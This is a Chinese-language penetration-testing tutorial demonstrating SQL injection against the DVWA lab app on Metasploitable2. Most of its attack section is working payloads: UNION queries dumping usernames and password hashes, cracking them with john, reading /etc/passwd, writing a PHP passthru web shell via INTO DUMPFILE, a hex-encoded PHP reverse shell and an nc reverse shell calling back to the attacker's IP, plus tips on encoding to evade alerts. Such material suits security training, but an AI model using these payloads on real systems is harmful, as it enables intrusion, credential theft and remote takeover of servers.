您的位置 首页 php

比较常见类型漏洞讲解(三):SQL注入(一)

这里继续介绍比较容易找到的不同类型的漏洞。

演示准备

目标主机:Metasploitable2

攻击目标:目标主机的dvwa系统

攻击机: Kali

SQL

SQL是Structured Query Language的缩写,翻译过来就是 结构 化查询语句,是一种特殊的编程语言,是用于数据库中的标准数据查询语言。

SQL注入

SQL注入 SQL Injection )是一种常见的 Web安全 漏洞,主要形成原因是在数据交互中,前端的数据传入后端处理时,没有做严格的校验判断、转义、限制等,导致传入的数据拼接到 SQL语句 中后,被当作SQL语句的一部分被执行。从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。

简单来说产生这个漏洞的原因是后端服务接收相关参数未经过过滤,直接带入数据库进行执行。

个人建议在使用SQL注入这类漏洞前,先了解一下SQL语句的基本语法,这类学习网站很多,这里就不推荐了。

SQL注入条件

产生SQL注入漏洞,需要满足两个条件:

  1. 参数用户可控,即前端传给后端的参数内容是用户可以控制的;
  2. 参数带入数据库执行,传入的参数拼接到SQL语句,并且带入参数库执行。

SQL注入参数类型

一般分为数字型和字符型两种注入参数类型。

  • 数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
  • 字符型:当输入的参数为 字符串 时,称为字符型。

字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过 单引号 来闭合的。

SQL注入可能存在的位置

既然是SQL注入,那么只要是和数据库数据交互的地方,就需要重点排查。比如url中的传参、请求报文中的参数(类似搜索框请求),或者还可能是请求头中的字段参数、Cookie值等等:

SQL注入注入点

SQL注入探测

找到了SQL注入点,但是还不能确定是否可以在这些点进行SQL注入操作。我们可以通过传入这些参数后的结果判断是否存在SQL注入漏洞:

 # 基于报错的探测,会报错则肯定存在SQL注入漏洞
'
" 
(
)
# 基于布尔的探测,如果页面会有不同显示就可能存在SQL注入漏洞
1' and '1' = '1
1' and '1' and '1
1' and '1' = '2
1' and '1' and '0  

SQL注入手动演示-获取数据库内容

在安全等级为low的时候,演示SQL注入漏洞的使用。

先通过在注入点传英文单引号后的执行结果,判断是否存在SQL注入漏洞:

返回报错

可以确认存在可以利用的SQL注入漏洞。

按照这个搜索框的功能,大致可以推测使用的SQL语句应该是这样的:

 # 单引号内就是我们传入的内容
select first_name, surname from users where id = ' '   

先确认被查询表的字段数量,可以通过传’ order by 3 — ,当其中的数字大于字段数量时,就会报错,还有两个小横杠后要跟一个空格,代表了将之后的内容注释。

表字段少于3个

然后就可以使用联合查询来获取进一步的信息:

 # --+表示后面的内容是注解,这种是在url中使用的,在搜索框的话,还是需要使用空格代替+
' union select 1 ,2 --+
' union all select database(), 2 --+  

执行结果

可以确定first_name是表的第一个字段,surname是表的第二个字段。

将传参进行调整,查询数据库当前用户:

获取当前用户部分信息

user()函数用于获取用户信息。

调整参数,获取数据库的版本信息:

获取数据包版本信息

version()函数是获取当前版本信息的。通过版本信息,大概能够推测出使用的是 mysql数据库 ,网上查一下基本就能匹配。

再调整执行语句,获取数据库名称和用户名:

获取数据库名称和用户名

database()函数是获取数据库名称的。

还有一些比较常用的函数:

 @@datadir:数据库在服务器所在位置
@@hostname:主机名称
@@VERSION:数据库版本信息,和version()函数功能一样,只是取的数据位置不同而已
@@version_compile_os:服务器操作系统版本
char(): ASCII 转字符,这个有时候可以用来绕过后端的一些过滤逻辑
CONCAT_WS(char(32, 58, 32), user(), database(), version()):连接字符串,第一个入参是作为后续字符串的连接符号
md5():计算哈希
information_schema: mysql 记录数据结构的数据库  

接下来继续调整执行语句,获取数据库表和库信息:

获取数据库信息

返回结果中第一个字段是表名,第二个字段是库名。

其中可以看到dvwa这个系统在使用的数据库和表:

当前系统在使用的表

继续调整语句,统计各个库的表数量:

各个库的表数量

再进一步查询dvwa数据库里的所有表:

查询指定数据库的表

继续查询指定表的所有字段:

查询指定表的字段

知道了上面这些信息,就可以查询具体的字段内容了:

查询指定字段内容

虽然获取的是加密后的密码,但是比单纯的暴力破解,已经进了一大步了。而且根据加密后的特征,完全可以猜测目标系统使用的加密方式。比如这个dvwa有点像使用了md5的加密方式,我们验证一下。

到Kali中使用工具hash-identifier,对获取到的密码进行识别检测一下:

识别加密方式

识别后给出了可能的两种加密方式,这里直接用MD5的方式进行破解一下,不过多展开了。

先将获取到的用户名和密码按照工具需要的格式进行整理:

账户名和密码

然后用Kali中自带的工具john:

john -format=raw-MD5 user_password.txt

dvwa的账户密码很快就将密码破解了,但是实际工作中密码破解往往非常耗时。

当数据库中信息太多,一时之间又无法分辨哪些是有效信息时,我们还可以将数据库信息下载到靶机的本地目录,我们可以将这个下载下来的文件传回我们控制的机器,这样就能有充足的时间进行分析了。一般渗透进入大公司的服务器,都会clone服务器硬盘或者下载数据库内容。dvwa这里使用的sql是这样的:

 ' union select null, concat(user, 0x3a, password) from users INTO OUT File  '/tmp/a.db' --   

提交后,在指定目录可以看到生成的文件:

靶机生成了本地文件

内容和我们直接查询到的是一致的:

文件内容

至于怎么将这个文件传回到我们的本地,方式很多,前面的帖子里也有统一介绍过,这里就不展开了。

SQL注入手动演示-对于本地文件的读写操作

SQL注入漏洞不仅仅可以读取数据库中的数据,还能用来读取本地文件。比如这样:

获取了etc/passwd文件内容

这里主要是利用了load_file()函数对本地文件进行读取。

还可以写入一些内容,比如一些病毒代码:

‘ union select null, “<?php passthru($_GET[‘cmd’]);?>” INTO DUMPFILE “a.php” —

虽然写入成功了,但是这个文件是存到了默认地址:

写入的文件地址

在这个地址,是无法从浏览器访问到的。

写入文件的权限

而我们如果想要往www这个目录中写入文件的话,我们是无法通过SQL注入这个漏洞完成的,因为SQL注入的语句,最后都是mysql在执行,而mysql账户没有权限操作www这个目录。

往www目录写入文件失败

一般Linux系统都会有一个/tmp目录,这个目录的权限比较宽泛,多数账户都有独写权限。我们可以将文件写入到这个目录里,然后利用前面介绍过的 Directory traversal/File include 漏洞进行访问上传的文件。写入文件的语句:

 # 语句最后的空格别漏
' union select null, "<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/tmp/a.php" --   

在目标位置查看:

然后利用Directory traversal/File include漏洞访问目标文件,执行特定命令:

执行特定命令

利用SQL注入漏洞写入文件不仅可以做到上面这种执行特定命令,还可以传一个反弹shell的文件进去。但是写入文件是很容易触发后端的报警机制的,所以我们一般都会进行转码操作。

先准备一个反弹 shell 的文件,在Kali里有现成的:

php的反弹shell文件

将文件中的ip地址改成我们能控制的机器,工作中别直接指向自己,但是我们只是演示,就直接写自己的Kali了:

修改反弹shell文件中的目标ip

然后将文件转码:

转码后的内容

xxd是 Linux 自带的一个工具,会将内容转码成16进制。tr的作用是将每一行的回车(\n)删除,这样就能将所有内容用一行内容表示了。

将转码后的内容复制出来,和前面利用SQL注入漏洞写入文件的复合语句组合:

 ' union select null, (0x3c3f7068700a2f2f207068702d726576657273652d7368656c6c202d20412052657665727365205368656c6c20696d706c656d656e746174696f6e20696e205048500a2f2f20436f707972696768742028432920323030372070656e746573746d6f6e6b65794070656e746573746d6f6e6b65792e6e65740a2f2f0a2f2f205468697320746f6f6c206d6179206265207573656420666f72206c6567616c20707572706f736573206f6e6c792e202055736572732074616b652066756c6c20726573706f6e736962696c6974790a2f2f20666f7220616e7920616374696f6e7320706572666f726d6564207573696e67207468697320746f6f6c2e202054686520617574686f722061636365707473206e6f206c696162696c6974790a2f2f20666f722064616d61676520636175736564206279207468697320746f6f6c2e20204966207468657365207465726d7320617265206e6f742061636365707461626c6520746f20796f752c207468656e0a2f2f20646f206e6f7420757365207468697320746f6f6c2e0a2f2f0a2f2f20496e20616c6c206f74686572207265737065637473207468652047504c2076657273696f6e2032206170706c6965733a0a2f2f0a2f2f20546869732070726f6772616d206973206672656520736f6674776172653b20796f752063616e2072656469737472696275746520697420616e642f6f72206d6f646966790a2f2f20697420756e64657220746865207465726d73206f662074686520474e552047656e6572616c205075626c6963204c6963656e73652076657273696f6e20322061730a2f2f207075626c697368656420627920746865204672656520536f66747761726520466f756e646174696f6e2e0a2f2f0a2f2f20546869732070726f6772616d20697320646973747269627574656420696e2074686520686f706520746861742069742077696c6c2062652075736566756c2c0a2f2f2062757420574954484f555420414e592057415252414e54593b20776974686f7574206576656e2074686520696d706c6965642077617272616e7479206f660a2f2f204d45524348414e544142494c495459206f72204649544e45535320464f52204120504152544943554c415220505552504f53452e2020536565207468650a2f2f20474e552047656e6572616c205075626c6963204c6963656e736520666f72206d6f72652064657461696c732e0a2f2f0a2f2f20596f752073686f756c642068617665207265636569766564206120636f7079206f662074686520474e552047656e6572616c205075626c6963204c6963656e736520616c6f6e670a2f2f207769746820746869732070726f6772616d3b206966206e6f742c20777269746520746f20746865204672656520536f66747761726520466f756e646174696f6e2c20496e632e2c0a2f2f203531204672616e6b6c696e205374726565742c20466966746820466c6f6f722c20426f73746f6e2c204d412030323131302d31333031205553412e0a2f2f0a2f2f205468697320746f6f6c206d6179206265207573656420666f72206c6567616c20707572706f736573206f6e6c792e202055736572732074616b652066756c6c20726573706f6e736962696c6974790a2f2f20666f7220616e7920616374696f6e7320706572666f726d6564207573696e67207468697320746f6f6c2e20204966207468657365207465726d7320617265206e6f742061636365707461626c6520746f0a2f2f20796f752c207468656e20646f206e6f7420757365207468697320746f6f6c2e0a2f2f0a2f2f20596f752061726520656e636f75726167656420746f2073656e6420636f6d6d656e74732c20696d70726f76656d656e7473206f722073756767657374696f6e7320746f0a2f2f206d652061742070656e746573746d6f6e6b65794070656e746573746d6f6e6b65792e6e65740a2f2f0a2f2f204465736372697074696f6e0a2f2f202d2d2d2d2d2d2d2d2d2d2d0a2f2f2054686973207363726970742077696c6c206d616b6520616e206f7574626f756e642054435020636f6e6e656374696f6e20746f20612068617264636f64656420495020616e6420706f72742e0a2f2f2054686520726563697069656e742077696c6c20626520676976656e2061207368656c6c2072756e6e696e67206173207468652063757272656e7420757365722028617061636865206e6f726d616c6c79292e0a2f2f0a2f2f204c696d69746174696f6e730a2f2f202d2d2d2d2d2d2d2d2d2d2d0a2f2f2070726f635f6f70656e20616e642073747265616d5f7365745f626c6f636b696e672072657175697265205048502076657273696f6e20342e332b2c206f7220352b0a2f2f20557365206f662073747265616d5f73656c6563742829206f6e2066696c652064657363726970746f72732072657475726e65642062792070726f635f6f70656e28292077696c6c206661696c20616e642072657475726e2046414c534520756e6465722057696e646f77732e0a2f2f20536f6d6520636f6d70696c652d74696d65206f7074696f6e7320617265206e656564656420666f72206461656d6f6e69736174696f6e20286c696b652070636e746c2c20706f736978292e202054686573652061726520726172656c7920617661696c61626c652e0a2f2f0a2f2f2055736167650a2f2f202d2d2d2d2d0a2f2f2053656520687474703a2f2f70656e746573746d6f6e6b65792e6e65742f746f6f6c732f7068702d726576657273652d7368656c6c20696620796f752067657420737475636b2e0a0a7365745f74696d655f6c696d6974202830293b0a2456455253494f4e203d2022312e30223b0a246970203d20273139322e3136382e3231382e313238273b20202f2f204348414e474520544849530a24706f7274203d20313233343b202020202020202f2f204348414e474520544849530a246368756e6b5f73697a65203d20313430303b0a2477726974655f61203d206e756c6c3b0a246572726f725f61203d206e756c6c3b0a247368656c6c203d2027756e616d65202d613b20773b2069643b202f62696e2f7368202d69273b0a246461656d6f6e203d20303b0a246465627567203d20303b0a0a2f2f0a2f2f204461656d6f6e697365206f757273656c6620696620706f737369626c6520746f2061766f6964207a6f6d62696573206c617465720a2f2f0a0a2f2f2070636e746c5f666f726b20697320686172646c79206576657220617661696c61626c652c206275742077696c6c20616c6c6f7720757320746f206461656d6f6e6973650a2f2f206f7572207068702070726f6365737320616e642061766f6964207a6f6d626965732e2020576f7274682061207472792e2e2e0a6966202866756e6374696f6e5f657869737473282770636e746c5f666f726b272929207b0a092f2f20466f726b20616e6420686176652074686520706172656e742070726f6365737320657869740a0924706964203d2070636e746c5f666f726b28293b0a090a096966202824706964203d3d202d3129207b0a09097072696e74697428224552524f523a2043616e277420666f726b22293b0a0909657869742831293b0a097d0a090a09696620282470696429207b0a0909657869742830293b20202f2f20506172656e742065786974730a097d0a0a092f2f204d616b65207468652063757272656e742070726f6365737320612073657373696f6e206c65616465720a092f2f2057696c6c206f6e6c79207375636365656420696620776520666f726b65640a0969662028706f7369785f7365747369642829203d3d202d3129207b0a09097072696e74697428224572726f723a2043616e277420736574736964282922293b0a0909657869742831293b0a097d0a0a09246461656d6f6e203d20313b0a7d20656c7365207b0a097072696e74697428225741524e494e473a204661696c656420746f206461656d6f6e6973652e20205468697320697320717569746520636f6d6d6f6e20616e64206e6f7420666174616c2e22293b0a7d0a0a2f2f204368616e676520746f20612073616665206469726563746f72790a636864697228222f22293b0a0a2f2f2052656d6f766520616e7920756d61736b20776520696e686572697465640a756d61736b2830293b0a0a2f2f0a2f2f20446f207468652072657665727365207368656c6c2e2e2e0a2f2f0a0a2f2f204f70656e207265766572736520636f6e6e656374696f6e0a24736f636b203d2066736f636b6f70656e282469702c2024706f72742c20246572726e6f2c20246572727374722c203330293b0a696620282124736f636b29207b0a097072696e7469742822246572727374722028246572726e6f2922293b0a09657869742831293b0a7d0a0a2f2f20537061776e207368656c6c2070726f636573730a2464657363726970746f7273706563203d206172726179280a20202030203d3e206172726179282270697065222c20227222292c20202f2f20737464696e20697320612070697065207468617420746865206368696c642077696c6c20726561642066726f6d0a20202031203d3e206172726179282270697065222c20227722292c20202f2f207374646f757420697320612070697065207468617420746865206368696c642077696c6c20777269746520746f0a20202032203d3e206172726179282270697065222c20227722292020202f2f2073746465727220697320612070697065207468617420746865206368696c642077696c6c20777269746520746f0a293b0a0a2470726f63657373203d2070726f635f6f70656e28247368656c6c2c202464657363726970746f72737065632c20247069706573293b0a0a696620282169735f7265736f75726365282470726f636573732929207b0a097072696e74697428224552524f523a2043616e277420737061776e207368656c6c22293b0a09657869742831293b0a7d0a0a2f2f205365742065766572797468696e6720746f206e6f6e2d626c6f636b696e670a2f2f20526561736f6e3a204f636373696f6e616c6c792072656164732077696c6c20626c6f636b2c206576656e2074686f7567682073747265616d5f73656c6563742074656c6c73207573207468657920776f6e27740a73747265616d5f7365745f626c6f636b696e67282470697065735b305d2c2030293b0a73747265616d5f7365745f626c6f636b696e67282470697065735b315d2c2030293b0a73747265616d5f7365745f626c6f636b696e67282470697065735b325d2c2030293b0a73747265616d5f7365745f626c6f636b696e672824736f636b2c2030293b0a0a7072696e74697428225375636365737366756c6c79206f70656e65642072657665727365207368656c6c20746f202469703a24706f727422293b0a0a7768696c6520283129207b0a092f2f20436865636b20666f7220656e64206f662054435020636f6e6e656374696f6e0a096966202866656f662824736f636b2929207b0a09097072696e74697428224552524f523a205368656c6c20636f6e6e656374696f6e207465726d696e6174656422293b0a0909627265616b3b0a097d0a0a092f2f20436865636b20666f7220656e64206f66205354444f55540a096966202866656f66282470697065735b315d2929207b0a09097072696e74697428224552524f523a205368656c6c2070726f63657373207465726d696e6174656422293b0a0909627265616b3b0a097d0a0a092f2f205761697420756e74696c206120636f6d6d616e6420697320656e6420646f776e2024736f636b2c206f7220736f6d650a092f2f20636f6d6d616e64206f757470757420697320617661696c61626c65206f6e205354444f5554206f72205354444552520a0924726561645f61203d2061727261792824736f636b2c202470697065735b315d2c202470697065735b325d293b0a09246e756d5f6368616e6765645f736f636b657473203d2073747265616d5f73656c6563742824726561645f612c202477726974655f612c20246572726f725f612c206e756c6c293b0a0a092f2f2049662077652063616e20726561642066726f6d207468652054435020736f636b65742c2073656e640a092f2f206461746120746f2070726f63657373277320535444494e0a0969662028696e5f61727261792824736f636b2c2024726561645f612929207b0a09096966202824646562756729207072696e7469742822534f434b205245414422293b0a090924696e707574203d2066726561642824736f636b2c20246368756e6b5f73697a65293b0a09096966202824646562756729207072696e7469742822534f434b3a2024696e70757422293b0a0909667772697465282470697065735b305d2c2024696e707574293b0a097d0a0a092f2f2049662077652063616e20726561642066726f6d207468652070726f636573732773205354444f55540a092f2f2073656e64206461746120646f776e2074637020636f6e6e656374696f6e0a0969662028696e5f6172726179282470697065735b315d2c2024726561645f612929207b0a09096966202824646562756729207072696e74697428225354444f5554205245414422293b0a090924696e707574203d206672656164282470697065735b315d2c20246368756e6b5f73697a65293b0a09096966202824646562756729207072696e74697428225354444f55543a2024696e70757422293b0a09096677726974652824736f636b2c2024696e707574293b0a097d0a0a092f2f2049662077652063616e20726561642066726f6d207468652070726f636573732773205354444552520a092f2f2073656e64206461746120646f776e2074637020636f6e6e656374696f6e0a0969662028696e5f6172726179282470697065735b325d2c2024726561645f612929207b0a09096966202824646562756729207072696e7469742822535444455252205245414422293b0a090924696e707574203d206672656164282470697065735b325d2c20246368756e6b5f73697a65293b0a09096966202824646562756729207072696e74697428225354444552523a2024696e70757422293b0a09096677726974652824736f636b2c2024696e707574293b0a097d0a7d0a0a66636c6f73652824736f636b293b0a66636c6f7365282470697065735b305d293b0a66636c6f7365282470697065735b315d293b0a66636c6f7365282470697065735b325d293b0a70726f635f636c6f7365282470726f63657373293b0a0a2f2f204c696b65207072696e742c2062757420646f6573206e6f7468696e67206966207765277665206461656d6f6e69736564206f757273656c660a2f2f2028492063616e277420666967757265206f757420686f7720746f207265646972656374205354444f5554206c696b6520612070726f706572206461656d6f6e290a66756e6374696f6e207072696e746974202824737472696e6729207b0a096966202821246461656d6f6e29207b0a09097072696e74202224737472696e675c6e223b0a097d0a7d0a0a3f3e200a0a0a0a) INTO DUMPFILE "/tmp/b.php" --   

执行没成功,因为写入内容太大了:

写入反弹shell失败

因为靶机是Linux系统,且安装了netcat,所以手动写个简易版的反弹shell病毒:

 <?php shell_exec('nc 192.168.218.128 80 -c bash');?>  

将文件转码,然后组装成可以使用的SQL语句:

 # 需要注意的是转码后的内容要放到小括号内,并且在开头要加上0x,表示后面这一串是16进制
' union select null, (0x3c3f706870207368656c6c5f6578656328276e63203139322e3136382e3231382e313238203830202d63206261736827293b3f3e0a) INTO DUMPFILE "/tmp/c.php" --   

利用SQL注入的漏洞,将文件文件写入目标位置。

然后可以通过Directory traversal/File include漏洞访问这个c.php,然后就可以获得目标机器的shell:

访问病毒文件

Kali获取了shell:

获取shell

上面主要是为了演示将文件内容转码,绕过过滤机制。

其实利用前面一个执行特定命令的病毒,可以直接触发反弹shell,比如这样传参:

 http://{靶机ip}/dvwa/vulnerabilities/fi/?page=/tmp/a.php&cmd=nc%20192.168.218.128%2080%20-c%20bash  

文章来源:智云一二三科技

文章标题:比较常见类型漏洞讲解(三):SQL注入(一)

文章地址:https://www.zhihuclub.com/154421.shtml

关于作者: 智云科技

热门文章

网站地图